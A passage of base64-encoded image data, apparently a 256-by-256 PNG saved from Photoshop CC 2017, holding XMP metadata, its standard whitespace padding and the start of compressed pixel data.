PC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE3LTEyLTI4
VDExOjIyOjE2KzA4OjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdh
cmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNyAoV2luZG93cyk8L3N0RXZ0OnNvZnR3YXJlQWdl
bnQ+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDpjaGFuZ2VkPi88L3N0RXZ0OmNoYW5nZWQ+CiAgICAg
ICAgICAgICAgIDwvcmRmOmxpPgogICAgICAgICAgICA8L3JkZjpTZXE+CiAgICAgICAgIDwveG1wTU06
SGlzdG9yeT4KICAgICAgICAgPHRpZmY6T3JpZW50YXRpb24+MTwvdGlmZjpPcmllbnRhdGlvbj4KICAg
ICAgICAgPHRpZmY6WFJlc29sdXRpb24+NzIwMDAwLzEwMDAwPC90aWZmOlhSZXNvbHV0aW9uPgogICAg
ICAgICA8dGlmZjpZUmVzb2x1dGlvbj43MjAwMDAvMTAwMDA8L3RpZmY6WVJlc29sdXRpb24+CiAgICAg
ICAgIDx0aWZmOlJlc29sdXRpb25Vbml0PjI8L3RpZmY6UmVzb2x1dGlvblVuaXQ+CiAgICAgICAgIDxl
eGlmOkNvbG9yU3BhY2U+NjU1MzU8L2V4aWY6Q29sb3JTcGFjZT4KICAgICAgICAgPGV4aWY6UGl4ZWxY
RGltZW5zaW9uPjI1NjwvZXhpZjpQaXhlbFhEaW1lbnNpb24+CiAgICAgICAgIDxleGlmOlBpeGVsWURp
bWVuc2lvbj4yNTY8L2V4aWY6UGl4ZWxZRGltZW5zaW9uPgogICAgICA8L3JkZjpEZXNjcmlwdGlvbj4K
ICAgPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAKPD94cGFja2V0IGVuZD0idyI/PsBGwGkAACAASURBVHic7Z15fBvVub+fcyTb
ki3biZ0NspSQAGkgELakELY07FtpSdkKbelGgXLhJkS397a9XW/5VQHTDUo32lKglJ1CoSyBkEIp+xaW
QAJkgeyLbcWWLWnO748zRxorXiRZu+b5fBw7o9HMSHPe77znPe95j1BK4eLiUp14i30BLi4uxcMVABeX
KsYVABeXKsYVABeXKsYVABeXKsYVABeXKsYVABeXKmZIATjtkgWFuA6XPBBobRP9ba+pod/t0Sj9JoWE
ty5wk0XKlPuvbxv0ddcDKFOMcUuBBFBoo+7csiBm9hnEcLM26MZRbV4AYR/DUlhDnMulhHEFoAwYOa5N
xmPawC2FFd66QDkMLp7RceLUxXqsGuERtcpSNQBCiqiKq15vnYx6PPRs37DAGugYToFJJdDaJowgebyo
wY7jUhq4AlBiBFrbRE0NIh5DdGxZEAcYyJB8jYt9Aj6mYA8pxVhvjRxlWUyMxRlFPDYGGK1/PC1I4evu
AkCCtGXD7gnYf/f2AGD5mtrAUhGIbwM2A5vxeDd5PWyRkrWxqLXFstSHAtYpWB3pXBSBhBewiyA1jWrz
eLyoaBTlegqlhSsARSbQ2ibM0727fYFlG0gfI/E1LvYJwT7KUhOA6cCRwAyUalF4mpACS0FvL2D1Z4Nx
SP9ZLO3f9fbPBH2IGLG4B6TQuwhQ+lwdvkBoG/A68AzwmpBinVKsMMJghMzgb25LeAmuIBQXVwCKgDF6
hwH0NfhAaBKwB3Ac8EmU2lMpxvV/tD7GbY5jwS6Bvn4Df0Og+v4dl/a5nMdqsn/2AE4DIwxs8AVC7wGP
A4+CeC8SXrQOtNCZN/fzXbgUEDHUbEB3FCA3BFrbhBB4+utD1zdd3WRZ1lzgZGA2cMAQhzMG5DTEbAx8
OKh+/pb97ejgZeB56ZEPoHiyq+PKjtQdGke1eZUi7opBbhhqFMAVgDwSaG0T8aiS3R0Ld+kX+wKh2cCp
6Kf87EEOE0cbt/kpB5TjxzPIfs8CjwIPRMLBZ1Nf9Ddd4/HUCMsVg+xxBaAI+Juu8Qxg9KcApwPzgZZ+
3hpDG7l5kpaLwQ+Fs2ui6L/ruQ34K/D3SDj499QXB/pOXQbHFYACYfqyzv4tgK9x8TEo9Tngc4A/5W3G
ICrN4IciNVaR2nXoAG5HiFsinYuWOl/wN7dJN16QPq4A5JlAa5tIbYx2EO9LwJcxUfQkMXSDH6q/XG1Y
9k+qd7AG+ANwYyQcXON8wd/cJlMF16UvrgDkif4any8Q+hRwGTAvZXfzJVfLE364DPR9PYQQP4t0LnrY
udEVgoFxU4FzjGlspsH5Ghf7UOoy4CJgSsruxsV1DT8zzPdlAonGWzoJpU7yBUKrgF8jxC8inYsi5l64
QpA5rgeQJqlBqPrmq3ez4tb/AF+nr5CaqL3r4ucWEy9xjipEgeulR/6kq/3K9WajGzBM4nYBhknqU8UX
CE0Fvgucn7JrnMGHvFxyR3/f9c3A9yPh4EqzwfUIXAHImtTgni8QmgyE0EN4hlQX1aWwWOz63d8KfDsS
